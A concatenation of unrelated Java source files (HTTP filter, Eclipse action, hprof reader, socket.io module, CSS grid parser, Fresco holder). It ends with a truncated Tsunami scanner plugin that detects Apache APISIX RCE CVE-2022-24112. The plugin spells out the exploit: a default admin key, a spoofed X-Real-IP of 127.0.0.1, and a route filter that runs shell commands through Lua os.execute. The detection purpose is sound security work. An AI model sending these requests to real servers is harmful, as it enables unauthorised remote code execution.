public void filter(HTTPTask task) throws Exception{
Message message = readRequest ? task.getRequest() : task.getResponse();
Payload payload = message.getPayload();
if(payload.contentLength==0)
task.resume();
else{
payload.removeEncodings();
payload.readFromSource(-1, (thr,timeout) -> { // @todo: how to configure limit
if(thr!=null)
task.resume(readRequest ? Status.BAD_REQUEST : Status.BAD_RESPONSE, thr);
else if(timeout)
task.resume(readRequest ? Status.REQUEST_TIMEOUT : Status.RESPONSE_TIMEOUT);
else
task.resume();
});
}
}
}
|
package org.csstudio.alarm.beast.ui.alarmtable.actions;
import org.csstudio.alarm.beast.ui.alarmtable.AlarmTableView;
import org.csstudio.alarm.beast.ui.alarmtable.Messages;
import org.eclipse.jface.action.Action;
import org.eclipse.jface.dialogs.MessageDialog;
import org.eclipse.osgi.util.NLS;
import org.eclipse.ui.IWorkbenchPage;
import org.eclipse.ui.PartInitException;
/**
* <code>NewTableAction</code> opens a new Alarm Table View.
*
* @author <a href="mailto:jaka.bobnar@cosylab.com">Jaka Bobnar</a>
*
*/
public class NewTableAction extends Action {
private final AlarmTableView view;
/**
* Construct a new action.
*
* @param view the view that owns this action
*/
public NewTableAction(final AlarmTableView view) {
super(Messages.NewTableView);
this.view = view;
}
@Override
public void run() {
try {
view.getViewSite().getPage().showView(view.getViewSite().getId(),
AlarmTableView.newSecondaryID(view), IWorkbenchPage.VIEW_ACTIVATE);
} catch (PartInitException e) {
MessageDialog.openError(view.getViewSite().getShell(), Messages.AlarmTableOpenErrorTitle,
NLS.bind(Messages.AlarmTableOpenErrorMessage, e.getMessage()));
}
}
}
|
package com.badoo.hprof.library;
import com.badoo.hprof.library.model.ClassDefinition;
import com.badoo.hprof.library.model.HprofString;
import com.badoo.hprof.library.util.StreamUtil;
import java.io.IOException;
import java.io.InputStream;
import javax.naming.OperationNotSupportedException;
import static com.badoo.hprof.library.util.StreamUtil.readInt;
import static com.badoo.hprof.library.util.StreamUtil.readString;
public class HprofReader {
private final InputStream in;
private final HprofProcessor processor;
private int readCount;
public HprofReader(InputStream in, HprofProcessor processor) {
this.in = in;
this.processor = processor;
}
/**
* Returns true if there is more data to be read (You can call next())
*
* @return True if there is more data to be read.
* @throws IOException
*/
public boolean hasNext() throws IOException {
return in.available() > 0;
}
/**
* Read the next record. This will trigger a callback to the processor.
*
* @throws IOException
*/
public void next() throws IOException {
if (readCount == 0) { // The header is always assumed to come first
readHprofFileHeader();
}
else {
readRecord();
}
readCount++;
}
/**
* Returns the InputStream that this HprofReader is reading its data from.
*
* @return The InputStream
*/
public InputStream getInputStream() {
return in;
}
/**
* Read a LOAD_CLASS record and create a class definition for the loaded class.
*
* @return A ClassDefinition with some fields filled in (Serial number, class object id, stack trace serial & class name string id)
* @throws IOException
*/
public ClassDefinition readLoadClassRecord() throws IOException {
int serialNumber = readInt(in);
int classObjectId = readInt(in);
int stackTraceSerial = readInt(in);
int classNameStringId = readInt(in);
ClassDefinition cls = new ClassDefinition();
cls.setSerialNumber(serialNumber);
cls.setObjectId(classObjectId);
cls.setStackTraceSerial(stackTraceSerial);
cls.setNameStringId(classNameStringId);
return cls;
}
/**
* Read a STRING record and create a HprofString based on its contents.
*
* @param recordLength Length of the record, part of the record header provided to HprofProcessor.onRecord()
* @param timestamp Timestamp of the record, part of the record header provided to HprofProcessor.onRecord()
* @return A HprofString containing the string data
* @throws IOException
*/
public HprofString readStringRecord(int recordLength, int timestamp) throws IOException {
int id = readInt(in);
String string = readString(in, recordLength - 4);
return new HprofString(id, string, timestamp);
}
private void readRecord() throws IOException {
int tagValue = in.read(); // 1 byte tag, see definitions in Tag
int time = readInt(in);
int size = readInt(in);
processor.onRecord(tagValue, time, size, this);
}
private void readHprofFileHeader() throws IOException {
String text = StreamUtil.readNullTerminatedString(in);
int idSize = readInt(in);
if (idSize != 4) { // Currently only 4-byte ids are supported
throw new UnsupportedOperationException("Only hprof files with 4-byte ids can be read! This file has ids of " + idSize + " bytes");
}
int timeHigh = readInt(in);
int timeLow = readInt(in);
processor.onHeader(text, idSize, timeHigh, timeLow);
}
}
|
package com.annimon.ownlang.lib.modules;
import com.annimon.ownlang.annotations.ConstantInitializer;
import com.annimon.ownlang.exceptions.TypeException;
import com.annimon.ownlang.lib.*;
import io.socket.client.IO;
import io.socket.client.Socket;
import java.net.URISyntaxException;
/**
* socket.io module.
*
* @author aNNiMON
*/
@ConstantInitializer
public final class socket implements Module {
public static void initConstants() {
Variables.define("EVENT_CONNECT", new StringValue(Socket.EVENT_CONNECT));
Variables.define("EVENT_CONNECTING", new StringValue(Socket.EVENT_CONNECTING));
Variables.define("EVENT_CONNECT_ERROR", new StringValue(Socket.EVENT_CONNECT_ERROR));
Variables.define("EVENT_CONNECT_TIMEOUT", new StringValue(Socket.EVENT_CONNECT_TIMEOUT));
Variables.define("EVENT_DISCONNECT", new StringValue(Socket.EVENT_DISCONNECT));
Variables.define("EVENT_ERROR", new StringValue(Socket.EVENT_ERROR));
Variables.define("EVENT_MESSAGE", new StringValue(Socket.EVENT_MESSAGE));
Variables.define("EVENT_PING", new StringValue(Socket.EVENT_PING));
Variables.define("EVENT_PONG", new StringValue(Socket.EVENT_PONG));
Variables.define("EVENT_RECONNECT", new StringValue(Socket.EVENT_RECONNECT));
Variables.define("EVENT_RECONNECTING", new StringValue(Socket.EVENT_RECONNECTING));
Variables.define("EVENT_RECONNECT_ATTEMPT", new StringValue(Socket.EVENT_RECONNECT_ATTEMPT));
Variables.define("EVENT_RECONNECT_ERROR", new StringValue(Socket.EVENT_RECONNECT_ERROR));
Variables.define("EVENT_RECONNECT_FAILED", new StringValue(Socket.EVENT_RECONNECT_FAILED));
}
@Override
public void init() {
initConstants();
Functions.set("newSocket", socket::newSocket);
}
private static Value newSocket(Value... args) {
Arguments.checkOrOr(1, 2, args.length);
try {
final String url = args[0].asString();
if (args.length == 1) {
return new SocketValue(IO.socket(url));
}
if (args[1].type() != Types.MAP) {
throw new TypeException("Map expected in second argument");
}
IO.Options options = parseOptions((MapValue) args[1]);
return new SocketValue(IO.socket(url, options));
} catch (URISyntaxException ue) {
return NumberValue.MINUS_ONE;
}
}
private static class SocketValue extends MapValue {
private final Socket socket;
public SocketValue(Socket socket) {
super(12);
this.socket = socket;
init();
}
private void init() {
set("close", this::close);
set("connect", this::connect);
set("connected", this::connected);
set("disconnect", this::disconnect);
set("emit", this::emit);
set("hasListeners", this::hasListeners);
set("id", this::id);
set("off", this::off);
set("on", this::on);
set("once", this::once);
set("open", this::open);
set("send", this::send);
}
private Value close(Value... args) {
socket.close();
return this;
}
private Value connect(Value... args) {
socket.connect();
return this;
}
private Value connected(Value... args) {
return NumberValue.fromBoolean(socket.connected());
}
private Value disconnect(Value... args) {
socket.disconnect();
return this;
}
private Value hasListeners(Value... args) {
Arguments.check(1, args.length);
return NumberValue.fromBoolean(
socket.hasListeners(args[0].asString())
);
}
private Value emit(Value... args) {
Arguments.checkOrOr(2, 3, args.length);
final String event = args[0].asString();
final Value value = args[1];
if (args.length == 3) {
// TODO ack
}
socket.emit(event, ValueUtils.toObject(value));
return this;
}
private Value id(Value... args) {
return new StringValue(socket.id());
}
private Value off(Value... args) {
Arguments.checkOrOr(0, 1, args.length);
if (args.length == 1) {
socket.off(args[0].asString());
} else {
socket.off();
}
return this;
}
private Value on(Value... args) {
Arguments.check(2, args.length);
final String event = args[0].asString();
final Function listener = ((FunctionValue) args[1]).getValue();
socket.on(event, sArgs -> {
executeSocketListener(listener, sArgs);
});
return this;
}
private Value once(Value... args) {
Arguments.check(2, args.length);
final String event = args[0].asString();
final Function listener = ((FunctionValue) args[1]).getValue();
socket.once(event, sArgs -> {
executeSocketListener(listener, sArgs);
});
return this;
}
private Value open(Value... args) {
socket.open();
return this;
}
private Value send(Value... args) {
Arguments.check(1, args.length);
socket.send(ValueUtils.toObject(args[0]));
return this;
}
private void executeSocketListener(Function listener, Object[] sArgs) {
if (sArgs == null) {
listener.execute(new ArrayValue(0));
} else {
int size = sArgs.length;
final Value[] fArgs = new Value[size];
for (int i = 0; i < size; i++) {
fArgs[i] = ValueUtils.toValue(sArgs[i]);
}
listener.execute(new ArrayValue(fArgs));
}
}
}
private static IO.Options parseOptions(MapValue map) {
final IO.Options result = new IO.Options();
map.ifPresent("forceNew", v -> result.forceNew = v.asInt() != 0);
map.ifPresent("multiplex", v -> result.multiplex = v.asInt() != 0);
map.ifPresent("reconnection", v -> result.reconnection = v.asInt() != 0);
map.ifPresent("rememberUpgrade", v -> result.rememberUpgrade = v.asInt() != 0);
map.ifPresent("secure", v -> result.secure = v.asInt() != 0);
map.ifPresent("timestampRequests", v -> result.timestampRequests = v.asInt() != 0);
map.ifPresent("upgrade", v -> result.upgrade = v.asInt() != 0);
map.ifPresent("policyPort", v -> result.policyPort = v.asInt());
map.ifPresent("port", v -> result.port = v.asInt());
map.ifPresent("reconnectionAttempts", v -> result.reconnectionAttempts = v.asInt());
map.ifPresent("reconnectionDelay", v -> result.reconnectionDelay = getNumber(v).longValue());
map.ifPresent("reconnectionDelayMax", v -> result.reconnectionDelayMax = getNumber(v).longValue());
map.ifPresent("timeout", v -> result.timeout = getNumber(v).longValue());
map.ifPresent("randomizationFactor", v -> result.randomizationFactor = v.asNumber());
map.ifPresent("host", v -> result.host = v.asString());
map.ifPresent("hostname", v -> result.hostname = v.asString());
map.ifPresent("path", v -> result.path = v.asString());
map.ifPresent("query", v -> result.query = v.asString());
map.ifPresent("timestampParam", v -> result.timestampParam = v.asString());
map.ifPresent("transports", v -> {
if (v.type() != Types.ARRAY) return;
final ArrayValue arr = (ArrayValue) v;
final String[] values = new String[arr.size()];
int index = 0;
for (Value value : arr) {
values[index++] = value.asString();
}
result.transports = values;
});
return result;
}
private static Number getNumber(Value value) {
if (value.type() != Types.NUMBER) return value.asInt();
return ((NumberValue) value).raw();
}
}
|
package com.psddev.dari.util;
import java.io.IOException;
import java.io.InputStream;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
import javax.servlet.ServletContext;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
public class HtmlGrid {
private final List<CssUnit> columns;
private final List<CssUnit> rows;
private final List<List<String>> template;
public HtmlGrid(String columnsString, String rowsString, String... templateStrings) {
columns = createCssUnits(columnsString);
rows = createCssUnits(rowsString);
template = new ArrayList<List<String>>();
for (String t : templateStrings) {
if (t != null && t.length() > 0) {
for (String line : t.split("[\\r\\n]+")) {
line = line.trim();
if (line.length() > 0) {
List<String> words = Arrays.asList(line.split("\\s+"));
int wordsSize = words.size();
if (wordsSize > 0) {
int lastIndex = wordsSize - 1;
String lastWord = words.get(lastIndex);
if (lastWord.startsWith("/")) {
rows.add(new CssUnit(lastWord.substring(1)));
words.remove(lastIndex);
}
}
wordsSize = words.size();
int columnsSize = columns.size();
if (wordsSize != columnsSize) {
throw new IllegalArgumentException(String.format(
"Columns mismatch! [%s] items in [%s] but [%s] in [%s]",
wordsSize, line, columnsSize, columnsString));
}
template.add(words);
}
}
}
}
int templateSize = template.size();
int rowsSize = rows.size();
if (templateSize != rowsSize) {
StringBuilder t = new StringBuilder();
if (templateStrings != null) {
for (String templateString : templateStrings) {
t.append("\n");
t.append(templateString);
}
}
throw new IllegalArgumentException(String.format(
"Rows mismatch! [%s] items in [%s] but [%s] in [%s]",
templateSize, t, rowsSize, rowsString));
}
}
private List<CssUnit> createCssUnits(String values) {
List<CssUnit> instances = new ArrayList<CssUnit>();
if (values != null) {
for (String value : values.trim().split("\\s+")) {
instances.add(new CssUnit(value));
}
}
return instances;
}
private HtmlGrid(List<CssUnit> columns, List<CssUnit> rows, List<List<String>> template) {
this.columns = columns;
this.rows = rows;
this.template = template;
}
public List<CssUnit> getColumns() {
return columns;
}
public List<CssUnit> getRows() {
return rows;
}
public List<List<String>> getTemplate() {
return template;
}
/** Returns all CSS units used by this template. */
public Set<String> getCssUnits() {
Set<String> units = new HashSet<String>();
for (CssUnit column : getColumns()) {
units.add(column.getUnit());
}
for (CssUnit row : getRows()) {
units.add(row.getUnit());
}
return units;
}
/** Returns all area names used by this template. */
public Set<String> getAreas() {
Set<String> areas = new HashSet<String>();
for (List<String> row : getTemplate()) {
for (String area : row) {
if (!".".equals(area)) {
areas.add(area);
}
}
}
return areas;
}
public List<HtmlGrid> divide() {
List<HtmlGrid> divided = new ArrayList<HtmlGrid>();
List<List<String>> template = getTemplate();
List<CssUnit> columns = getColumns();
List<CssUnit> rows = getRows();
int columnSize = columns.size();
int rowSize = rows.size();
for (int rowStart = 0, rowStop; rowStart < rowSize; rowStart = rowStop) {
rowStop = rowStart + 1;
for (int i = rowStart; i < rowStop; ++ i) {
for (int columnIndex = 0; columnIndex < columnSize; ++ columnIndex) {
String area = template.get(i).get(columnIndex);
if (!area.equals(".")) {
int j = i + 1;
for (; j < rowSize; ++ j) {
if (!area.equals(template.get(j).get(columnIndex))) {
break;
}
}
if (rowStop < j) {
rowStop = j;
}
}
}
}
divided.add(new HtmlGrid(
columns,
rows.subList(rowStart, rowStop),
template.subList(rowStart, rowStop)));
}
return divided;
}
public static final class Static {
private static final Logger LOGGER = LoggerFactory.getLogger(HtmlGrid.class);
private static final String TEMPLATE_PROPERTY = "grid-template";
private static final String COLUMNS_PROPERTY = "grid-definition-columns";
private static final String ROWS_PROPERTY = "grid-definition-rows";
public static HtmlGrid find(ServletContext context, String cssClass) throws IOException {
return ObjectUtils.isBlank(cssClass) ? null : findGrid(context, "." + cssClass, "/");
}
private static HtmlGrid findGrid(ServletContext context, String selector, String path) throws IOException {
Set<String> children = CodeUtils.getResourcePaths(context, path);
if (children != null) {
for (String child : children) {
if (child.endsWith(".css")) {
InputStream cssInput = CodeUtils.getResourceAsStream(context, child);
try {
Css css = new Css(IoUtils.toString(cssInput, StringUtils.UTF_8));
if ("grid".equals(css.getValue(selector, "display"))) {
LOGGER.info("Using grid matching [{}] in [{}]", selector, child);
String templateValue = css.getValue(selector, TEMPLATE_PROPERTY);
if (ObjectUtils.isBlank(templateValue)) {
throw new IllegalStateException(String.format(
"Path: [%s], Selector: [%s], Missing [%s]!",
child, selector, TEMPLATE_PROPERTY));
}
String columnsValue = css.getValue(selector, COLUMNS_PROPERTY);
if (ObjectUtils.isBlank(columnsValue)) {
throw new IllegalStateException(String.format(
"Path: [%s], Selector: [%s], Missing [%s]!",
child, selector, COLUMNS_PROPERTY));
}
String rowsValue = css.getValue(selector, ROWS_PROPERTY);
if (ObjectUtils.isBlank(rowsValue)) {
throw new IllegalStateException(String.format(
"Path: [%s], Selector: [%s], Missing [%s]!",
child, selector, ROWS_PROPERTY));
}
char[] letters = templateValue.toCharArray();
StringBuilder word = new StringBuilder();
List<String> list = new ArrayList<String>();
for (int i = 0, length = letters.length; i < length; ++ i) {
char letter = letters[i];
if (letter == '"') {
for (++ i; i < length; ++ i) {
letter = letters[i];
if (letter == '"') {
list.add(word.toString());
word.setLength(0);
break;
} else {
word.append(letter);
}
}
} else if (Character.isWhitespace(letter)) {
if (word.length() > 0) {
list.add(word.toString());
word.setLength(0);
}
} else {
word.append(letter);
}
}
StringBuilder t = new StringBuilder();
for (String v : list) {
t.append(v);
t.append("\n");
}
try {
return new HtmlGrid(
columnsValue,
rowsValue,
t.toString());
} catch (IllegalArgumentException error) {
throw new IllegalArgumentException(String.format(
"Path: [%s], Selector: [%s], %s",
child, selector, error.getMessage()));
}
}
} finally {
cssInput.close();
}
} else if (child.endsWith("/")) {
HtmlGrid grid = findGrid(context, selector, child);
if (grid != null) {
return grid;
}
}
}
}
return null;
}
}
}
|
package com.facebook.drawee.view;
import android.app.Activity;
import android.content.Context;
import android.graphics.drawable.Drawable;
import android.view.MotionEvent;
import android.view.View;
import com.facebook.common.activitylistener.ListenableActivity;
import com.facebook.common.internal.Objects;
import com.facebook.common.internal.Preconditions;
import com.facebook.common.logging.FLog;
import com.facebook.drawee.components.DraweeEventTracker;
import com.facebook.drawee.drawable.VisibilityAwareDrawable;
import com.facebook.drawee.drawable.VisibilityCallback;
import com.facebook.drawee.interfaces.DraweeController;
import com.facebook.drawee.interfaces.DraweeHierarchy;
import javax.annotation.Nullable;
import static com.facebook.drawee.components.DraweeEventTracker.Event;
/**
* A holder class for Drawee controller and hierarchy.
*
* <p>Drawee users, should, as a rule, use {@link DraweeView} or its subclasses. There are
* situations where custom views are required, however, and this class is for those circumstances.
*
* <p>Each {@link DraweeHierarchy} object should be contained in a single instance of this
* class.
*
* <p>Users of this class must call {@link Drawable#setBounds} on the top-level drawable
* of the DraweeHierarchy. Otherwise the drawable will not be drawn.
*
* <p>The containing view must also call {@link #onDetach()} from its
* {@link View#onStartTemporaryDetach()} and {@link View#onDetachedFromWindow()} methods. It must
* call {@link #onAttach} from its {@link View#onFinishTemporaryDetach()} and
* {@link View#onAttachedToWindow()} methods.
*/
public class DraweeHolder<DH extends DraweeHierarchy> implements VisibilityCallback {
private boolean mIsControllerAttached = false;
private boolean mIsHolderAttached = false;
private boolean mIsVisible = true;
private boolean mIsActivityStarted = true;
private DH mHierarchy;
// TODO(T6181423): this is not working reliably and we cannot afford photos-not-loading issues.
//private final ActivityListener mActivityListener;
private DraweeController mController = null;
private final DraweeEventTracker mEventTracker = new DraweeEventTracker();
/**
* Creates a new instance of DraweeHolder that detaches / attaches controller whenever context
* notifies it about activity's onStop and onStart callbacks.
*
* <p>It is strongly recommended to pass a {@link ListenableActivity} as context. The holder will
* then also be able to respond to onStop and onStart events from that activity, making sure the
* image does not waste memory when the activity is stopped.
*/
public static <DH extends DraweeHierarchy> DraweeHolder<DH> create(
@Nullable DH hierarchy,
Context context) {
DraweeHolder<DH> holder = new DraweeHolder<DH>(hierarchy);
holder.registerWithContext(context);
return holder;
}
/**
* If the given context is an instance of FbListenableActivity, then listener for its onStop and
* onStart methods is registered that changes visibility of the holder.
*/
public void registerWithContext(Context context) {
// TODO(T6181423): this is not working reliably and we cannot afford photos-not-loading issues.
//ActivityListenerManager.register(mActivityListener, context);
}
/**
* Creates a new instance of DraweeHolder.
* @param hierarchy
*/
public DraweeHolder(@Nullable DH hierarchy) {
if (hierarchy != null) {
setHierarchy(hierarchy);
}
/*
// TODO(T6181423): this is not working reliably and we cannot afford photos-not-loading issues.
mActivityListener = new BaseActivityListener() {
@Override
public void onStart(Activity activity) {
setActivityStarted(true);
}
@Override
public void onStop(Activity activity) {
setActivityStarted(false);
}
};
*/
}
/**
* Gets the controller ready to display the image.
*
* <p>The containing view must call this method from both {@link View#onFinishTemporaryDetach()}
* and {@link View#onAttachedToWindow()}.
*/
public void onAttach() {
mEventTracker.recordEvent(Event.ON_HOLDER_ATTACH);
mIsHolderAttached = true;
attachOrDetachController();
}
/**
* Releases resources used to display the image.
*
* <p>The containing view must call this method from both {@link View#onStartTemporaryDetach()}
* and {@link View#onDetachedFromWindow()}.
*/
public void onDetach() {
mEventTracker.recordEvent(Event.ON_HOLDER_DETACH);
mIsHolderAttached = false;
attachOrDetachController();
}
/**
* Forwards the touch event to the controller.
* @param event touch event to handle
* @return whether the event was handled or not
*/
public boolean onTouchEvent(MotionEvent event) {
if (mController == null) {
return false;
}
return mController.onTouchEvent(event);
}
/**
* Callback used to notify about top-level-drawable's visibility changes.
*/
@Override
public void onVisibilityChange(boolean isVisible) {
if (mIsVisible == isVisible) {
return;
}
mEventTracker.recordEvent(isVisible ? Event.ON_DRAWABLE_SHOW : Event.ON_DRAWABLE_HIDE);
mIsVisible = isVisible;
attachOrDetachController();
}
/**
* Callback used to notify about top-level-drawable being drawn.
*/
@Override
public void onDraw() {
// draw is only expected if the controller is attached
if (mIsControllerAttached) {
return;
}
// something went wrong here; controller is not attached, yet the hierarchy has to be drawn
// log error and attach the controller
FLog.wtf(
DraweeEventTracker.class,
"%x: Draw requested for a non-attached controller %x. %s",
System.identityHashCode(this),
System.identityHashCode(mController),
toString());
mIsHolderAttached = true;
mIsVisible = true;
mIsActivityStarted = true;
attachOrDetachController();
}
/**
* Sets the visibility callback to the current top-level-drawable.
*/
private void setVisibilityCallback(@Nullable VisibilityCallback visibilityCallback) {
Drawable drawable = getTopLevelDrawable();
if (drawable instanceof VisibilityAwareDrawable) {
((VisibilityAwareDrawable) drawable).setVisibilityCallback(visibilityCallback);
}
}
/**
* Notifies the holder of activity's visibility change
*/
private void setActivityStarted(boolean isStarted) {
mEventTracker.recordEvent(isStarted ? Event.ON_ACTIVITY_START : Event.ON_ACTIVITY_STOP);
mIsActivityStarted = isStarted;
attachOrDetachController();
}
/**
* Sets a new controller.
*/
public void setController(@Nullable DraweeController draweeController) {
boolean wasAttached = mIsControllerAttached;
if (wasAttached) {
detachController();
}
// Clear the old controller
if (mController != null) {
mEventTracker.recordEvent(Event.ON_CLEAR_OLD_CONTROLLER);
mController.setHierarchy(null);
}
mController = draweeController;
if (mController != null) {
mEventTracker.recordEvent(Event.ON_SET_CONTROLLER);
mController.setHierarchy(mHierarchy);
} else {
mEventTracker.recordEvent(Event.ON_CLEAR_CONTROLLER);
}
if (wasAttached) {
attachController();
}
}
/**
* Gets the controller if set, null otherwise.
*/
@Nullable public DraweeController getController() {
return mController;
}
/**
* Sets the drawee hierarchy.
*/
public void setHierarchy(DH hierarchy) {
mEventTracker.recordEvent(Event.ON_SET_HIERARCHY);
setVisibilityCallback(null);
mHierarchy = Preconditions.checkNotNull(hierarchy);
Drawable drawable = mHierarchy.getTopLevelDrawable();
onVisibilityChange(drawable == null || drawable.isVisible());
setVisibilityCallback(this);
if (mController != null) {
mController.setHierarchy(hierarchy);
}
}
/**
* Gets the drawee hierarchy if set, throws NPE otherwise.
*/
public DH getHierarchy() {
return Preconditions.checkNotNull(mHierarchy);
}
/**
* Returns whether the hierarchy is set or not.
*/
public boolean hasHierarchy() {
return mHierarchy != null;
}
/**
* Gets the top-level drawable if hierarchy is set, null otherwise.
*/
public Drawable getTopLevelDrawable() {
return mHierarchy == null ? null : mHierarchy.getTopLevelDrawable();
}
protected DraweeEventTracker getDraweeEventTracker() {
return mEventTracker;
}
private void attachController() {
if (mIsControllerAttached) {
return;
}
mEventTracker.recordEvent(Event.ON_ATTACH_CONTROLLER);
mIsControllerAttached = true;
if (mController != null &&
mController.getHierarchy() != null) {
mController.onAttach();
}
}
private void detachController() {
if (!mIsControllerAttached) {
return;
}
mEventTracker.recordEvent(Event.ON_DETACH_CONTROLLER);
mIsControllerAttached = false;
if (mController != null) {
mController.onDetach();
}
}
private void attachOrDetachController() {
if (mIsHolderAttached && mIsVisible && mIsActivityStarted) {
attachController();
} else {
detachController();
}
}
@Override
public String toString() {
return Objects.toStringHelper(this)
.add("controllerAttached", mIsControllerAttached)
.add("holderAttached", mIsHolderAttached)
.add("drawableVisible", mIsVisible)
.add("activityStarted", mIsActivityStarted)
.add("events", mEventTracker.toString())
.toString();
}
}
|
package com.google.tsunami.plugins.detectors.rce.cve202224112;
import static com.google.common.base.Preconditions.checkNotNull;
import static com.google.common.collect.ImmutableList.toImmutableList;
import static com.google.common.net.HttpHeaders.CONNECTION;
import static com.google.common.net.HttpHeaders.CONTENT_TYPE;
import static com.google.tsunami.common.net.http.HttpRequest.get;
import static com.google.tsunami.common.net.http.HttpRequest.post;
import static java.nio.charset.StandardCharsets.UTF_8;
import com.google.common.collect.ImmutableList;
import com.google.common.flogger.GoogleLogger;
import com.google.common.io.Resources;
import com.google.common.util.concurrent.Uninterruptibles;
import com.google.gson.JsonElement;
import com.google.protobuf.ByteString;
import com.google.protobuf.util.Timestamps;
import com.google.tsunami.common.data.NetworkServiceUtils;
import com.google.tsunami.common.net.http.HttpClient;
import com.google.tsunami.common.net.http.HttpHeaders;
import com.google.tsunami.common.net.http.HttpResponse;
import com.google.tsunami.common.net.http.HttpStatus;
import com.google.tsunami.common.time.UtcClock;
import com.google.tsunami.plugin.PluginType;
import com.google.tsunami.plugin.VulnDetector;
import com.google.tsunami.plugin.annotations.PluginInfo;
import com.google.tsunami.plugin.payload.Payload;
import com.google.tsunami.plugin.payload.PayloadGenerator;
import com.google.tsunami.proto.DetectionReport;
import com.google.tsunami.proto.DetectionReportList;
import com.google.tsunami.proto.DetectionStatus;
import com.google.tsunami.proto.NetworkService;
import com.google.tsunami.proto.PayloadGeneratorConfig;
import com.google.tsunami.proto.Severity;
import com.google.tsunami.proto.TargetInfo;
import com.google.tsunami.proto.Vulnerability;
import com.google.tsunami.proto.VulnerabilityId;
import java.io.IOException;
import java.time.Clock;
import java.time.Duration;
import java.time.Instant;
import javax.inject.Inject;
/** A {@link VulnDetector} that detects Apache APISIX RCE CVE-2022-24112. */
@PluginInfo(
type = PluginType.VULN_DETECTION,
name = "Apache APISIX RCE CVE-2022-24112 Detector",
version = "0.1",
description = "This detector checks Apache APISIX RCE (CVE-2022-24112).",
author = "yuradoc (yuradoc.research@gmail.com)",
bootstrapModule = Cve202224112DetectorBootstrapModule.class)
public final class Cve202224112Detector implements VulnDetector {
private static final GoogleLogger logger = GoogleLogger.forEnclosingClass();
private static final String BATCH_REQUEST_PATH = "apisix/batch-requests";
private static final int BATCH_REQUEST_WAIT_AFTER_TIMEOUT = 6;
private static final String DEFAULT_ADMIN_KEY_TOKEN = "edd1c9f034335f136f87ad84b625c8f1";
private static final String X_REAL_IP_BYPASS = "127.0.0.1";
private static final String PIPE_REQUEST_PATH = "apisix/admin/routes/tsunami_rce";
private static final int PIPE_REQUEST_EXPIRE_TTL = 30;
private static final String PIPE_REQUEST_BODY_URI =
"tsunami_rce/" + Long.toHexString(Double.doubleToLongBits(Math.random()));
private static final String PIPE_REQUEST_BODY_NAME =
Long.toHexString(Double.doubleToLongBits(Math.random()));
private static final String FILTER_FUNC_OS_RCE =
"function(vars) os.execute('%s'); return true end";
private static final String FILTER_FUNC_OS_EXEC =
"function(vars) return os.execute('echo hello')==true end";
private static final String FILTER_FUNC_FALSE = "function(vars) return false end";
private final Clock utcClock;
private final HttpClient httpClient;
private final PayloadGenerator payloadGenerator;
private final String batchRequestBodyTemplate;
@Inject
Cve202224112Detector(
@UtcClock Clock utcClock, HttpClient httpClient, PayloadGenerator payloadGenerator)
throws IOException {
this.utcClock = checkNotNull(utcClock);
this.httpClient = checkNotNull(httpClient);
this.payloadGenerator = checkNotNull(payloadGenerator);
batchRequestBodyTemplate =
Resources.toString(Resources.getResource(this.getClass(), "pipeRequestBody.json"), UTF_8);
}
@Override
public DetectionReportList detect(
TargetInfo targetInfo, ImmutableList<NetworkService> matchedServices) {
logger.atInfo().log("Cve202224112Detector starts detecting.");
return DetectionReportList.newBuilder()
.addAllDetectionReports(
matchedServices.stream()
.filter(NetworkServiceUtils::isWebService)
.filter(this::isServiceVulnerable)
.map(networkService -> buildDetectionReport(targetInfo, networkService))
.collect(toImmutableList()))
.build();
}
private boolean isServiceVulnerable(NetworkService networkService) {
return (payloadGenerator.isCallbackServerEnabled() && isVulnerableWithCallback(networkService))
|| isVulnerableWithoutCallback(networkService);
}
private boolean isVulnerableWithCallback(NetworkService networkService) {
PayloadGeneratorConfig config =
PayloadGeneratorConfig.newBuilder()
.setVulnerabilityType(PayloadGeneratorConfig.VulnerabilityType.REFLECTIVE_RCE)
.setInterpretationEnvironment(
PayloadGeneratorConfig.InterpretationEnvironment.LINUX_SHELL)
.setExecutionEnvironment(
PayloadGeneratorConfig.ExecutionEnvironment.EXEC_INTERPRETATION_ENVIRONMENT)
.build();
Payload payload = payloadGenerator.generate(config);
String cmd = payload.getPayload();
String filterFunc = String.format(FILTER_FUNC_OS_RCE, cmd);
var vulnRouteCreated = registerRouteRequest(networkService, filterFunc);
if (!vulnRouteCreated) {
return false;
}
Uninterruptibles.sleepUninterruptibly(Duration.ofSeconds(BATCH_REQUEST_WAIT_AFTER_TIMEOUT));
executeCreatedRouteRequest(networkService);
return payload.checkIfExecuted();
}
private boolean isVulnerableWithoutCallback(NetworkService networkService) {
HttpResponse resp;
var vulnRouteCreated = registerRouteRequest(networkService, FILTER_FUNC_OS_EXEC);
if (!vulnRouteCreated) {
return false;
}
Uninterruptibles.sleepUninterruptibly(Duration.ofSeconds(BATCH_REQUEST_WAIT_AFTER_TIMEOUT));
resp = executeCreatedRouteRequest(networkService);
if (resp == null
|| !(resp.status().code() == HttpStatus.SERVICE_UNAVAILABLE.code()
|| resp.status().code() == HttpStatus.BAD_GATEWAY.code())) {
return false;
}
var trueNegativeRouteCreated = registerRouteRequest(networkService, FILTER_FUNC_FALSE);
if (!trueNegativeRouteCreated) {
return false;
}
Uninterruptibles.sleepUninterruptibly(Duration.ofSeconds(BATCH_REQUEST_WAIT_AFTER_TIMEOUT));
resp = executeCreatedRouteRequest(networkService);
return resp != null && resp.status().code() == HttpStatus.NOT_FOUND.code();
}
private HttpResponse executeBatchRequest(NetworkService networkService, String filterFunc) {
String targetUri = NetworkServiceUtils.buildWebApplicationRootUrl(networkService);
HttpHeaders headers =
HttpHeaders.builder()
.addHeader("X-API-KEY", DEFAULT_ADMIN_KEY_TOKEN)
.addHeader(CONTENT_TYPE, "application/json")
.addHeader(CONNECTION, "close")
.build();
String batchRequestBody = this.batchRequestBodyTemplate;
String[] placeholders = {
"{{X_REAL_IP}}",
"{{X_API_KEY}}",
"{{PIPE_REQ_PATH}}",
"{{PIPE_REQ_METHOD}}",
"{{PIPE_REQ_URI}}",
"{{PIPE_REQ_NAME}}",
"{{PIPE_REQ_FILTER_FUNC}}"
};
String[] replacements = {
X_REAL_IP_BYPASS,
DEFAULT_ADMIN_KEY_TOKEN,
"/" + PIPE_REQUEST_PATH + "?ttl=" + PIPE_REQUEST_EXPIRE_TTL,
"PUT",
"/" + PIPE_REQUEST_BODY_URI,
PIPE_REQUEST_BODY_NAME,
filterFunc
};
for (int i = 0; i < placeholders.length; i++) {
